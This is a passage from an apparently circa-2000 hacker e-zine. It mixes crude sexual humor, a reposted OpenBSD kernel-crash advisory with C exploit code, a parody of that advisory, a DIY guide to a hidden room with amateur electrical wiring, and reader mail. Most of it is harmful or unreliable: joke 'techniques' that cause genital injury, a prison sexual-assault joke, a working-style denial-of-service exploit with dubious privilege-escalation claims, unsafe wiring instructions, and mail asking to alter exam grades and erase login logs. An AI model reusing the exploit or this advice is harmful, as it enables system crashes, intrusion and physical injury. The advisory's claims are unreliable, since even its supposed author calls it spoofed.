lungs out cause it feels soooooooo goooood. The trick here, so not to ruin
the motor, is to use protection. Any form of protection can be used here,
cept for birth control pills. If you don't have a rubber with you right
now, you may use a zip lock as a substitute. Although, don't use the
vegetable ones.
*** You could go to jail warning: Don't go to wall-mart, rip the pen out
of the package, and start using this method.
*** Your already in jail tip: if you go to jail, stick this up your cell
mates anus, and jack him off, you'll be idolized amongst the cell mates in
prison. You might be let out early if you do good with the prison
officers.
Technique Four: Caffinated Pepsi
The caffinated pepsi method... some have tried and failed, but Ive
revolutionized the technique. The whole theory revolves around the fact,
"no pain, no gain." Back when they first invented aluminum cans, little
boys have tried cutting holes in the can, and try to satisfy that 'urge'.
You wouldn't believe that some still do it to this day. But if you make
just one slit, and fold the flaps to the side, you can get some real
pleasure. Or, if you are diameterly challenged (iny winny, tinny winny,
short, short cock) then you can just use the hole at the top of the can
(hopefully this will finish off what nature started, but never finished).
Another method revolving around the aluminum can, just fold it, and ram it
in between the crack. This gives you a tight sqeeze without the sharp
edges.
Technique Five: CD
The CD method, basically uses the CD drive. If you open your drive, lay
your dick on the tray, and keep pushing that button. Some young
inexperienced kids try and use the floppy drive, but it just doesn't have
the same effect. I've also heard accounts of people sticking their cock in
that huge hole on the tray and pressing the button. They were later rushed
to the hospital where the doctors finished amputating what was left.
*Fun and Games
As I said in my previous GTMHM, I would discuss the fun and games of
masturbating. Well here you go, special demand for all you readers.
Fun and Games One: Shoots and Ladders
Shoots and Ladders is not the ordinary board game that you used to play in
elementary, now its a time old tradition, played in highskewl, and college.
All you need for this game is a volunteer (preferably a chick) for each
player, and a ladder. The object of the game, to reach the top first.
Rules: Each player must have a team member; you advance one step on the
ladder by having the other team member catch your ejaculated sperm in their
mouth. Starting from the bottom step, advancing in turns (I suggest just
having two teams. 3 teams crowds the bottom of the ladder, although,
that'd be fun, trying to stay on, and jack off at the same time, h0h0). If
you fall off the ladder for any reason (no pushing) then you have to start
all over again from the very bottom.
***Tip: if your team member is a chick, she can strip for you, making it
quicker to ejaculate.
Well... in conclusion, we've discussed the many ways of self-pleasure, as
well as the many talents that always come in handy. I've also introduced
you to a great party game. If you come up with any other games, or already
have some traditions along those lines, email me tiller@cyberspace.org
May the force be with you
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[17:. - [ How to get a new keyboard ] [clover] :. ]
[clover@hotmail.com] :. ]
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1.get mIRC on Tuesday
2.get on the IRC
3.eat junk food and drink beer while talking to chix0rs on IRC
4.spill both of the above over your keyboard while cybering with her
5.get bored
6.notice that your keyboard is dirty
7.open it up and place the plastic ( keys housing) in hot water
8.dry it again
9.screw it together again
10.eat while u do #9
11.misplace some of the lil plastic thingys
that are supposed to bring the keys back up
12.get angry
13.wait till Monday
14 buy a new one
15.goto 3.
what to do with your old keyboard ?
1.switch some keys and exchange your old keyboard with the one of the guy
sitting next to you at work/school.
2.switch the a to an 4 ; e to 3 and so on until you have an 31337 h4x0r
keyboard
3.patch the circuits so that the enter-key will send ctrl+alt+del
(leet Microsoft keyboard)
4.use your old keyboard no matter what and blame all the typo you used to
have on it.
5.get rid of the stupid window-hotkey
that always messed up your firing in dos games.
6.If it's even a little less damaged as mine
donate it !! cl0ver@hotmail.com !@#~
(most of the article is originally written intruder@cyberarmy.com)
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____________________________________________________________________
[18:. - [ Rloxley owned at bugtraq? ] [k-rad-bob] :. ]
[k-rad-bob@b0g.org] :. ]
____________________________________________________________________
What follows are two entries found at bugtraq. The first posted as an advisory
by none other then the infamous Rloxley himself. Not only did this advisory
outrage and stir up a riot among the leet OpenBSD gimps, but it also led to some
rather funny responses. The second is a post made by some gimp who totally owned
him, in fact its so funny I had trouble breathing for the rest of the day at
work.
Rloxley claims this first post was spoofed by some lamer who wanted to make him
look silly. And since b0g are listed in the to hell with you section that
surely helps to back up Rloxleys claim of innocence, since Rloxley is in fact a
true b0g fan and would never hurt our feelings like that. Nevertheless this is
one hella funny read.
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| |
| www.hackphreak.org |
| |
| Version : Hackphreak advisory #2 of many |
| Author : RLoxley[hackphreak / condemnation / EHAP / RSH / ZSH (soon)]|
| Contributed : All of Team Hackphreak (thanks alot) & SSG |
| Topic : A non-privledged user may crash an OpenBSD Operating System,|
| thus rendering the system useless. |
| Effected : All Operating Systems which use UVM (not MACH VM) |
| * OpenBSD |
| * NetBSD |
| Prvt Release : November 5th, 1998 |
| Released : November 5th, 2000 |
| Credits : www.hackphreak.org, zsh.interniq.org, www.subterrain.net |
| Check Section 1 |
| Vender status : Notified |
| |
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Section 1 [Greets]:
First and foremost, thanks to team hackphreak and SSG, great job!
SSG helped during the researching of the bug (bind, aempire, cripto).
This was a coordinated effort with Team Hackphreak and The Hacker
Collective known as SSG.
I would like to thank RootShellHackers and Team ZSH for rigorously
testing on many freenets :] (ratcorpse and her great mass testing
scripts, great for analysis: www.sneakerz.org/~rat < great site :)
I would like to thank caddis of TESO. He started the whole OpenBSD
war. Keep up the good work.
Special thanks to Mixter and his TFN2k. It has made my job much
easier.
I would also like to thank: EHAP, Condemnation, gov-boi (hack.co.za),
shinex (yf0rce :), ISS, Solar Designer, #hackphreak, #darknet,
#!/bin/zsh, #condemnation, #conf, Al Hugher, Aleph1, and my parents.
Section 2 [Preface]:
Usually Team HackPhreak keeps our code and research quite private
until we give lectures in our channel on undernet (#hackphreak). But what
really annoys us, is when a very big figure in the security community acts
disrespectful to the people who help build this internet infastructure. This
person who I speak of, is Theo de Raadt. Theo de Raadt claims that OpenBSD
hasn't experienced a local root hole in the default install for many years.
During his internal security audits, they find many bugs, yet they just
hide them, patch them, and never notify the public. This is very unethical
on the part of the OpenBSD team. I think you guys are lame. What worrys
Team Hackphreak, is how many other bugs have gone unnoticed. We have found
many other exlpoitable holes in previous OpenBSD distributions, that have
miraculously been patched and never revealed. Next, there is the "Three
years without a remote hole in the default install". I hope this advisory
breaks that aswell, because, technically:
* Log into the remote host
* Grab our exploit
* Crash the kernel
This bug is also be exploitable via NFS.
Three years without a remote hole? Strike that.
Section 3 [Background]:
UVM is a new virtual memory system developed which is currently
used in the OpenBSD Operating Systems. It is significantly better than the
traditional MACH based VM.
Section 4 [Problem Description]:
There exists a bug in the UVM code which has blatently slipped passed
the seemlessly small minded OpenBSD security auditors. The bug exists in the
anonymous mapping code in UVM. This bug allows for any local user (or remote
user) to crash the entire OpenBSD system, rendering it completely useless.
Once the system has crashed, a local user (with access to the terminal) may
in fact hack the system. The system drops into DDB (man it). DDB allows for
debugging of the actual kernel. When one has access to the kernel, they can
do most anything: such as reading disk buffers, reading _copyright, reading
network mbuf's. So this scales to a most incredible attack, not just a DoS
(if you have read through this you have now more reason to switch to Linux).
A very smart attacker will:
* Crash the kernel
* Assume the location of the box which crashed (@ the colo)
* Use DDB to gain god status
A layout of the crash dump is given:
* trap()
* uvm_fault()
* uvmfault_amapcopy()
* amap_copy()
* amap_alloc()
------------------------------------------------------------------
struct vm_amap *
amap_alloc(sz, padsz, waitf)
vaddr_t sz, padsz;
int waitf;
/*
* amap_alloc: allocate an amap to manage "sz" bytes of anonymous VM
*
* => caller should ensure sz is a multiple of PAGE_SIZE
* => reference count to new amap is set to one
* => new amap is returned unlocked
*/
{
struct vm_amap *amap;
int slots, padslots;
UVMHIST_FUNC("amap_alloc"); UVMHIST_CALLED(maphist);
AMAP_B2SLOT(slots, sz); /* load slots */
AMAP_B2SLOT(padslots, padsz);
------------------------------------------------------------------
The kernel crashes in the first instance of AMAP_B2SLOT(slots, sz).
------------------------------------------------------------------
#define AMAP_B2SLOT(S,B) { \
if ((B) & (PAGE_SIZE - 1)) \
panic("AMAP_B2SLOT: invalid byte count"); \
(S) = (B) >> PAGE_SHIFT; \
}
------------------------------------------------------------------
Basically, if the (sz & (PAGE_SIZE-1)) is true, the kernel
panic()'s. Not so cool Mr. Theo, my grandmother wouldn't even have
done something so stupid and all she has is an A+ and CCNA!
As aempirei, bind, and cripto pointed out: Even if AMAP_B2SLOT()
is patched, the bug will still exist, hence forth because later
on down the yellow brick road, the kernel will crash in routines such as:
* amap_splitref()
* amap_lookup()
So a hacker will still be able to obtain root access. No thanks
to obecian for notifying Theo a wee bit early.
Section 4 [The exploit]:
// PUBLIC RELEASE
//
// krnl-DoS.c by RLoxley of Team Hackphreak (#hackphreak on unet) & SSG
//
// This exploit is proof of concept code. It exploits the UVM bug in
// all OpenBSD kernels. It can also be used to gain god access via
// ddb during the crash recovery phase of OpenBSD's security structure.
//
// Greets: #hackphreak, RootShellHackers, ZSH (#!/bin/zsh), EHAP,
// Condemnation, caddis[TESO], Solar Designer, gov-boi,
// #darknet, ISS, #conf, Al Hugher, Aleph1, shinex (for porting)
// SSG, www.subterrain.net
//
// PS: The exploit is broke very slightly, so this takes some knowledge ;)
//
// PUBLIC RELEASE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <a.out.h>
#include <fcntl.h>
#include <sys/types.h>
#define CRASH_FILE "./f0rKb0mB"
extern int errno;
int
main(int argc, char *argv[])
{
struct exec *ehdr;
struct stat statbuf;
int fd;
unsigned char *data;
fd = open(argv[0], O_RDONLY);
if (fd < 0)
{
perror("main() : open(argv[0]) ");
exit(-1);
}
if (fstat(fd, &statbuf) < 0)
{
perror("main() : fstat() ");
exit(-1);
}
data = (unsigned char *) malloc(statbuf.st_size);
if (data == NULL)
{
perror("main() : malloc() ");
exit(-1);
}
if (read(fd, data, statbuf.st_size) <= 0)
{
puts("main() : read() Failure");
exit(-1);
}
ehdr = (struct exec *) data;
close(fd);
unlink(CRASH_FILE);
fd = open(CRASH_FILE, O_RDWR | O_CREAT, S_IXUSR);
if (fd < 0)
{
perror("main() : open(CRASH_FILE) ");
exit(-1);
}
ehdr->a_data += 3;
if (write(fd, data, statbuf.st_size) < 0)
{
perror("main() : write() ");
exit(-1);
}
close(fd);
if (execlp(CRASH_FILE, NULL) < 0)
{
perror("main() : execlp() ");
exit(-1);
}
return (0);
}
Section 5 [TO HELL WITH YOU'S]:
Theo de Raadt and the OpenBSD Team
Paedophiles
Rascists
All of #kkk on undernet
All of the people who disturb my channel
BoW
frys / prophet
b0g
Scriptkiddies all over the place
obecian
Section 6 [Come 1 Come ALL]:
Team Hackphreak invites you to undernet #hackphreak for a great
learning experience. Just join us to teach and learn. But remember,
HARASSMENT = BAN. www.hackphreak.org/newbie.
Section 7 [Lies]:
I hope this advisory brings you closer to NT / Linux, rather than
OpenBSD. Linux & NT are way better anyway.
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><!> its a hax0r fish! Wh00ps! Now heres the reply:
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| www.dqc.org/~chris |
| |
| Version : Leet advisory #2666 of many |
| Author : LarFoxley[famedork / condemned / ESP / AH / PPTP (soon)] |
| Contributed : All of Team Leet (thanks alot) & UVM |
| Topic : A non-priviledged user may gain physical access to the |
| system, thus exploiting what is known in innner circles as |
| "the five-finger discount" |
| Effected : All Operating Systems which use a computer |
| * OpenBSD, and possibly others |
| Prvt Release : October 1, 1995 |
| Released : November 7, 19100 |
| Credits : www.whitehouse.gov, flash.bellcore.com, www.merit.edu |
| Check Section 1 |
| Vendor status: Raped |
| |
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Section 1 [Grits]:
First and foremost, thanks to dictionary.com, without which I would
be totally lost in the world of English spelling and grammar. Thanks
to my mother who bore me. This was a coordinated effort with Team
Leet and The Serious Hackers known as Super Super Good.
I would like to thank RootShellBadddMothers and Team SSH for
rigorously testing on many stupid shell providers who don't know
about the OpenBSD team's secret plans for world domination through
eleet unknown bugs :] (fatcorpse and her great mass testing scripts,
great for analysis: www.freshmeat.net < great site :)
I would like to thank bass of BEER. He started the whole OpenBSD
religion. Keep up the good work.
Special thanks to obecian and his DoS 3.3 System. It has made my
job so easy that I think I should not be paid anymore.
I would also like to thank: NSA, CIA, FBI, Walls Fargo, WTO,
Kettutytt, Satan, Dorkex (h0rze :), ISS, Solar Designer, #blowjob,
#hotsex, #eatshit, #42, #conf, Al Hugher, Alpeh1, communism, the
US Air Force, OJ Simpson, Semtex, Ebola, George W. Bush, Ralph Nader
and Jello Biafra.
Section 2 [Preface]:
Usually, Team Leet keeps our code and research quite private until we
spew our diarrhea all over your computer monitor. But, what really annoys
us, is when a very big figure in the computer security community lies to the
people who make him who he is. The person I speak of is Bob Dobbs. Bob
Dobbs claims that OpenBSD hasn't experienced a local root hole in the default
install for many years. Yet, during his internal audits, he regularly finds
unfaithfulness to the church, and he never notifies the public. I think you
guys are lame. You have demonstrated sins, transgressions, intemperances,
vices, errors, failings, personal faults, indiscretions, lapses, trespasses,
and crimes agsinst man, woman, child, law, nature and god. What worries Team
Leet is that our servers might be hacked. We have found many other
exploitable holes in previous OpenBSD distributions, that have miraculously
been patched and never revealed. Next, there is the "Three years without a
remote hole in the default install." I hope this advisory breaks that
aswell, because, techinically:
* Walk up to the machine
* Turn it off
* Unplug it
* Take it with you
Although we have not confirmed it, we believe this bug is also
exploitable via NFS, RSH, TELNET, and SSH.
Three years without a remote hoe? Strike that.
Section 3 [Background]:
OpenBSD is a vulnerable operating system because it runs on a
computer which can be physically accessed by an intruder. It is
significantly better then the traditional UNIX based OS.
Section 4 [Problem Description]:
There exists a bug in the physical universe which has blatently
slipped passed the seemlessly feeble minded OpenBSD developers and
hackphreak.org members alike. This bug allows for any local user (or remote
user) to steal the entire OpenBSD system, thus rendering it completely
useless. Once the system is stolen, a local user (with access to the
console) may in fact remove the hard disk. The system uses a published
standard, FFS. When one has access to the hard disk, they may use FFS do
most anything: such as reading the disk, and writing to it, not just a DoS
(if you have to read through this you have now more reason to switch to
CP/M).
A very smart attacker will:
* Mount the hard disk
* Read from it
* Use RSH
A layout of the hard disk is given:
* Root filesystem /
* Usr filesystem /usr
* Home filesystem /home
* Root's filesystem /root
* Tmp's filesystem /tmp
* Var's filesystem /var
------------------------------------------------------------------
main()
{
printf("hello, world\n");
/*
* here, we print to the screen
* this is considered a vulnerablilty because we were able to show
* just how much damange can really be done with this unique
* and as-of-yet-unknown method
*/
}
Section 4 [The exploit]:
// PUBLIC RELEASE
//
// openbsd-sucks.c by LarFoxley of Team Leet (#openbsd on efnet) & SSH
//
// This exploit is proof of my love for you
//
// Greets: NSA, CIA, FBI, Walls Fargo, WTO, EHAP, Condoms, caddis[TESO],
// Kettutytt, Satan, Dorkex (h0rze :), ISS, Solar Designer, #blowjob,
// #hotsex, #eatshit, #42, #conf, Al Hugher, Alpeh1, communism, the
// US Air Force, OJ Simpson, Semtex, Ebola, George W. Bush, Ralph
// Nader and Jello Biafra.
//
// PS: The expoit is broke very slightly, so it takes some knowledge ;)
//
// PUBLIC RELEASE * DO NOT DISTRIBUTE
#include <stdyo.h>
#include <streengs.h>
main()
{
prentf("hello, world!!!!!\n");
// Now that we have gained physical access, there is no more need for
// actual code, because we can simply remove the hard disk at this point.
// Also, if you enter the debugger, you can change the user id of the
// process that you are currently using. Imagine that.
}
Section 5 [TO HELL WITH YOU'S]:
J.R. "Bob" Dobbs, and the OpenBSD team
Photographers
Rapists
Anyone who thinks OpenBSD is useful
All of #openbsd on EFNET
All of the people who have violated my sphincter
BoW
Scriptkiddies who don't use my scripts
obecian
Section 6 [Come 1 Come ALL]:
Team Leet invites you to join efnet #openbsd for a great learning
experience. Just join us to teach and learn. But remember, SEXUAL
HARASSMENT = FAT LAWSUIT. www.dqc.org/~chris
Section 7 [Lies]:
I hope this advisory makes you feel warm inside. I know that Windows
NT will always rule my world. I think Bill Gates is a role model for my
children and their grand-children. I like eating pineapples. All OpenBSD
users are paranoid schizophrenics who fall to my knees when they read this
message.
---
Rev. Chris Cappuccio -=- http://www.dqc.org/~chris/
"If you don't turn on to politics, politics will turn on you"
- Ralph Nader
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____________________________________________________________________
[19:. - [ How to build your own hax0r room ] [tak] :. ]
[tak@b0g.org] :. ]
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# Another mindless production brought to you by ehlf, and tak.
So, you want to impress friends, girls, and feds, eh? Well here is your
one stop guide to living as a ninja. If you have ever been raided, or
feared raiding, you can protect yourself by installing a hax0r room in
your setup. Ever watched Scooby Doo, and Shaggy always leans up against a
fireplace or bookshelf, and falls into a hidden passage/room? Well that
is the theory behind the hax0r room. First your hax0r room should be on
the bottom floor of your house, or basement. If your house is completely
above ground, it may be a little harder to do, but its possible. Scenario
#1: You live in a 1 story house, with no basement...This is the hardest
one, but you can still make it work. If you have a small room, you can
cover the entrance, and make it your own little room. The problem with
this is that sometimes you can tell that there is missing space in a
house, which can get bad. Another solution to this would be to leave the
existing entrance to the room, but make it a smaller room, or hallway, and
keep a portion of the room to yourself. This same scenario works for most
houses with no basement.
Digging:
Another option can be to big out where you would like to work, if you are
in a basement, the ideal way would be to knock out a portion of a wall in
a room, and dig from there. Make sure that you dig in a place not too
much weight will be forced upon, Im not sure about how this all works,
but I dont think I would build this under my garage, 2 inches under the
cement. I would give a little bit of room from the surface, and not
somewhere where allot of weight will be pressed down upon. It may take
some work, but it is definitely worth it. When you finish digging, you
will probably want to smooth the ceiling, walls, and floor. After you
get most of the dirt even, you should probably get a couple of friends
to help you, and fix up the place. If you desire, this could help out a
bit with ?smell? or ?water? in your pad...Get some of that plastic looking
stuff that they put on dirt, and put rocks over in yards, the black
stuff. Put on your walls and ceiling, and spike in with some taint spikes
or something. Now you should get some 4x4" posts, and put them in the 4
corners of the room, touching the ceiling, and put them in-between at least
every 8 feet. [be sure to finish reading this document before starting]
Now take some 8x4' pieces of plywood, and put them on the floor, 8'long,
and 4' tall. Your 4x4" beams will be 8' or less away, so you can now nail
them up. The beams will stick 4 inches out from the wall...duh, so when
you board up the plywood you should have about 4 inches from the wood to
the dirt. You should fill this with insulation, after you wire the
outlets[will discuss later]. Now you have 4 semi-cool walls, and
electrical[read on]. You now should take care of the floor. Get a long
piece of wood, that can go at least 2" deep, and equal the width of the
room in length. Put the board up in the far end of the room, and it will
isolate a section that you can poor concrete into, you can get this fairly
cheap...quick dry cement or whatever. When that finishes, break the stick
away, and move it a bit back, and work on the new section on cement,
etc. Soon enough you will be close to finished. Now for the ceiling, you
will need to be semi-ninja. Remember those 4x4 posts? Well you are going
to have to get some people, and hoist a 4x8 up flat against the
ceiling. After you got it up there, slid the first one into a corner, so
that the corner 4x4 in the room has a corner of the plywood, and a mid-4x4
has another end of the wood. On the loose end, pry some wood under it to
hold it up, while you figure it out. What seems to work would be a long
spike with a notch on the end to catch in the dirt, and the other end to
screw into the wood. Ie:
/|___________________________________/ / <-- catch in dirt [bend?]
| ___________________________________/ <-- shove up into dirt
|_|<-- part to screw to wood
Shove that hoe up into the dirt, then screw into the wood. This provides
you with a little security, but you need a bit more. Now do that to most
of the end of the room, however many you need. On the border of the wood,
where they touch when finished, you should nail/bolt/screw them together
with another small piece of wood. Now you may have a bare spot in the
center which is open, and hard to work, take the measurements, and cut the
wood to size. Now you want to get Two 2x4's however long you think is
enough, and cut them as so:
The top part should be at a smooth angle, as to be not-so hard to
|\ knock into the ceiling.
| \
\ \ The bottom should be cut so when the woos is put into the ceiling at
\ \ an angle, it
\ \ will be plush with the ceiling.
\_\
You want Two of these, and drive them in opposite directions into the
empty space, like an X till they are all the way in. Now you will host
the plywood up, while screwing it to these pieces of wood, then take the
edges and fasten them to the other sheeps of plywood. Your ceiling is now
finished, you may want to put a couple 2x4's stretched across the room
from 4x4 to 4x4 to secure the plywood even more. Remember this isnt all
for fashion...yet, and who is going to be looking at your ceiling? Now if
you want to use some spray paint or whatever on the walls, could even put
up sheetrock[drywall] and paint it pro-like. You now have an '0d4y h4x0r
p4d'
Electrical:
When installing the 4x8's on the walls of your hax0r pad, you may want to
take into consideration...power...The average cord length is 6 feet, so
its a rule that every outlet should be no more than 12 feet apart[6 in
either direction] You beat that, you have 4x4 posts every 8 feet, which
you should mount some electrical box's in. These box's are usually beige,
or blue, and 3 inches tall, by a couple inches wide, and 2 deep. nail
these things to the 4x4's open side where the plywood will go, sticking
out about the thickness of the plywood. You will want to get some
electrical wire, it is about 1/2-3/4 an inch wide, 1/4inch tall, and
comes in rolls, it is white. There wires in it are separated by paper,
and come with 3 wires, Ground, White, and Black, or Red. This wire is
cheap, so Im not going to go into detail on how to splice it, so you
should run each one separately. Running each one to its own breaker is an
advantage, cause it will be a bit more secure with the limitations of
electricity on each line, especially if you are running many computers,
and electrical shit. Your computers wont power off, but it will take more
cable, and more breakers...they are cheap. Go to the hardware store, and
buy some electrical outlets, connect the wires appropriately to the back
of them, and screw them into the outlet box's on the 4x4's. Those wires
from there should run back to your breaker box, where you will screw
them into a breaker...this isnt the most professional way, but its the
safest way, going for easy. Take the end of the wire, and appropriately
fastener it to the breaker, that is not yet in the box. Then power down the
whole box, and install the breaker. Do this for each outlet, then turn
on. You now have electricity. NOTE: Be sure to not leave wire exposed,
and be as safe as you can. Also these methods are far from the BEST, but
they do wo
rk. If you know of a better way, or of a qualified electrical,
please have them help. Each circuit for every outlet isnt too proficient,
but it gets the job done, as long as you have a little bit of a cash
flow...not even allot. EOF
Decor:
Now that you have allot of the necessities taken care of, its time for the
ninja-part. You should paint the walls, and ceiling..Be sure to leave air
flow for the fumes. Then move in any carpet you may want. After the
carpet, move in any couches/desks/tv's/refrigerators/computers you need,
and set them all up. Table lamps are a good idea, but if you wish to mount
a light, it's the same principal as the outlets. Now is the time to fix
up the door. To make this an uberhax0r pad, you need to hide the
entrance. You should patch the outside, except for a small, yet
reasonable doorway. In front of this doorway, you could put a bookshelf,
couch, or anything to hide it. Be sure to put handles, or something to be
able to close the entrance after you get in, and also make some sort of
way to see out before you just open it up, and expose yourself to the
whole world.
These methods are by far not the best, and efficient ways of doing things,
but they get the job done, and are fairly simple for the average man. Try
other stuff, its a 'project'.
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b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
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From: oeb@cotse.com
To: Webmaster <form@b0g.org>
Subject: Form Results sent on 09/06/00
Date: 6. september 2000 18:52
The leet pinball easter egg in M$
\/\/0rd 97
========================================
1. Open j00r document
2. Type "Blue" (l3av3 0ut the " thingies)
3. Select it
4. set it t0 b0ld, and set the c0lour (yes i can spell it that way if i want)
t0 blue
5. Put a space after the w0rd Blue
6. press help and then ab0ut
7. h0ld <ctrl>+<shift> and left-click the picture thingie 0n the left
0k y0u can n0w play a really SHIT game 0f pinball unTol you get b0red. the
flippers are contr0lled by z and m. And the bit y0u will all want t0 hear,
y0u can exit the thing (game) by pressing <esc>
---End of form data.---
><!> bob says:
h0h0 0wn4g3! Thanks for providing yet another way to make it through the days at
work.
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From: jef122@hotmail.com
To: Webmaster <form@b0g.org>
Subject: Form Results sent on 09/12/00
Date: 12. september 2000 13:08
help me out
have a bet running for lots of money
that i can hack into the www.rug.ac.be central computer
to change the points of some peoples exams
highly illegal ???!!
i promise 250 $ for the one that can help me out with their login
procedure
spread the word !
jef122
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><!> bob says:
Finally, we are now up there with the likes of phrack and attrition, keep
sending us lame mail!
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From: anthony.leung@virgin.net
To: Webmaster <form@b0g.org>
Subject: Form Results sent on 10/28/00
Date: 28. oktober 2000 16:55
I have lots of questions: how do you get a http://randomcrap.com domain? How did
you do it?! Does it involve paying lots of money?
><!> bob says:
um, yeah
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From: Ryan Pagel <pagsbb@angelfire.com>
To: pr3nc3@b0g.org <pr3nc3@b0g.org>
Subject: Fwd: Hi!
Date: 4. oktober 2000 02:59
--
--------- Forwarded Message ---------
DATE: Sun, 01 Oct 2000 12:57:17
From: Maren Heite <maren.heite@gmx.de>
To: Ryan Pagel <pagsbb@angelfire.com>
Hi Ryan!
A year ago I have sent you an e-mail and you wrote me back.
You remember?If not, it doesn4t matter!I found it very interesting to
have an e-mail-friend who comes from another country AND from another
continent.
Please don4t look at my grammar and my english-writing: It4s very bad!
I wish you would write me back now, because I think its nice to have a
different speaking e-mail-friend!If you don4t remember who I am, you can
also write back please.
PLEASE WRITE BACK!
CIAOI
Maren
><!> bob says:
maren sounds like a hottie!
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From: Prae <Prae@b0g.org>
To: k-rad-bob@b0g.org <k-rad-bob@b0g.org>
Subject: h0h0h0h0
Date: 12. november 2000 11:15
h0h0, i found this in my sent mail thingy from ages++ ago :)
put it in b0g :)))))
the cgi is nearly done too :)
----------------------------------------------
Sent:
Subject: Re: Hello there
Date: Thu, 16 Mar 1996 16:18:47 -0800
To: Nathan Wressell <nwressell@users.compuserve.net>
Send me one more fucking E-mail and I'll break your fucking legs then
rip your fucking head off and shit down your neck.
Stop sending your shit to me, you idiot.
You've been warned.
Yours lovingly,
Prae
--------------------------------------------
><!> bob says:
0 to tha w to tha n to tha 4 to tha g to tha 3
b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
From: Mike Masters <_021@yahoo.com>
To: b0g@b0g.org <b0g@b0g.org>
Subject: HACKERS!?
Date: 10. oktober 2000 23:05
oppz
hI iM A bIg FaN oF b0G bUt I WaS WoNdErInG wHy
YoUr sO AgInSt JaY-pEE, CaUsE hE FouNdEd 2600 AnD
AtTrItIoN AnD CyBeRaRmY, MaYbE YoUr JeAlOuS???
AnD wHy DoEs RlOxLeY ReMiNd Me oF JaY-pEE?? Is It
CaUsE He AlSo HaS SkILLz?
YoUr #1 FaN
HaQQuR
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><!> bob says:
We ArE JeAlOuS!@#!
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From: feedback <feedback@nakednews.com>
To: k-rad-bob <k-rad-bob@b0g.org>
Subject: naked news
Date: 22. september 2000 20:24
Greetings loyal viewer! Thankyou for your words of praise! We here at
nakednews value your input, so keep on writing with thoughts and
encouragement. We ARE the only network worth watching. Cheers.
>
>this is the best concep ever!
>great idea
>victoria is gorgeous!
><!> bob says:
www.nakednews.com dont miss it yall
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From: vkjnkvn sdik dihon <neobuzz@hotmail.com>
To: k-rad-bob@b0g.org <k-rad-bob@b0g.org>
Subject: Question
Date: 2. september 2000 23:28
Hi there
When i remove my entries from wtmp,utmp,lastlog, what command do i type to
see if iam totaly gone from them.?
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><!> bob says:
actually I dont know, email jericho@attrition.org
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From: vkjnkvn sdik dihon <neobuzz@hotmail.com>
To: c0d3s@b0g.org <c0d3s@b0g.org>
Subject: question
Date: 21. september 2000 00:12
Hi there
What is the best way to cover my tracks before i go on to hack a system,i
have heard of wingates,proxys,but must of them can log your ip,is there any
other methods or techniques out there.?
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><!> bob says:
HI AGAIN!
actually I dont know that either, email jericho@attrition.org
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From: vkjnkvn sdik dihon <neobuzz@hotmail.com>
To: twist@b0g.org <twist@b0g.org>
Subject: question
Date: 21. september 2000 00:11
Hi there
What is the best way to cover my tracks before i go on to hack a system,i
have heard of wingates,proxys,but must of them can log your ip,is there any
other methods or techniques out there.?
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><!> bob says:
HI AGAIN!!!!!
Twist doesnt know either, read above.
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From: vkjnkvn sdik dihon <neobuzz@hotmail.com>
To: niemand1@b0g.org <niemand1@b0g.org>
Subject: question
Date: 21. september 2000 00:18
Hi There
Can you answer this for me please.
How do i deny connections to the x-window port.
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><!> bob says:
Does anyone else see a pattern to this?
b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
From: John Conner <bbounce@hotmail.com>
To: various-gimps@b0g.org <various-gimps@b0g.org>
Subject: question's
Date: 4. oktober 2000 00:36
Hi
Could you answer these for me.
How do i completely remove packages on a linux system.?
What command can i type to see what directory utmp is in.?
What is the best way to shutdown linux without having hard drive,or boot
problems after.?
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><!> bob says:
love is in the air
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From: Bronc Buster <bronc@attrition.org>
To: k-rad-bob <k-rad-bob@b0g.org>
Subject: Re: b0g releases yet another issue!
Date: 3. september 2000 07:48
Can you please take me off your list...
><!> bob says:
0 to tha w to tha n to tha 4 to tha g to tha 3
b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
From: jamesl-s <jamesl-s@breathemail.net>
To: tronix@b0g.org <tronix@b0g.org>
Date: 6. oktober 2000 18:13
Subject: get a load of this!!!!
Double click on the attached file ten send me your IP number!!! this is
seriously cool!!!
To get IP No. you goto Windows satrat menu, goto run then type winipcfg but make
sure you are online!!!
send it back asap and wait for weird things to happen!!!!
><!> bob says:
This guy is so leet he makes my boxers moist.
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From: jamesl-s <jamesl-s@breathemail.net>
To: tronix@b0g.org <tronix@b0g.org>
Subject: this is the file i meant to attach to the other e-mail!!!
Date: 6. oktober 2000 18:17
follow the intructions on the previous e-mail and send that IPno.!!!
><!> bob says:
KeWl!!!!!
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From: gabe <g9r1m3s@netzero.net>
To: <k-rad-bob@b0g.org>
Sent: Monday, September 18, 2000 12:11 PM
Subject: smoke
that piece you wrote in the first issue of b0g, called "smoke"
was prolly the best thing i've read in a very long time.
you wrote it very beautifully, showing feelings in a
subtle and indirect way; it was very good.
have you written any other stuff like that?
-gabe
><!> bob says:
This is actually the coolest email I have ever been sent.
I'm just sharing this one with you because my ego told me to.
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b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
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b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!b0g!#@!
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[21:. - [ IRC Quotes ] [k-rad-bob] :. ]
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<twisty> camo, would you lick my nuts for $5?
<Camo> no way man
<Camo> I'll computer sex lick your nuts for a 50 dollar cdnow gift certificate
though :)
<twisty> ok
[21:28] <{cryptic}> tress is a british tosser....he likes any bird that has two
legs and 3 holes
[21:29] <pixie_baby> four holes duncha mean?
[21:29] <pixie_baby> mouth
[21:29] <pixie_baby> nose two.
[21:29] <k-rad-bob> pixie is into nasal sex
[21:29] <{cryptic}> nose?!
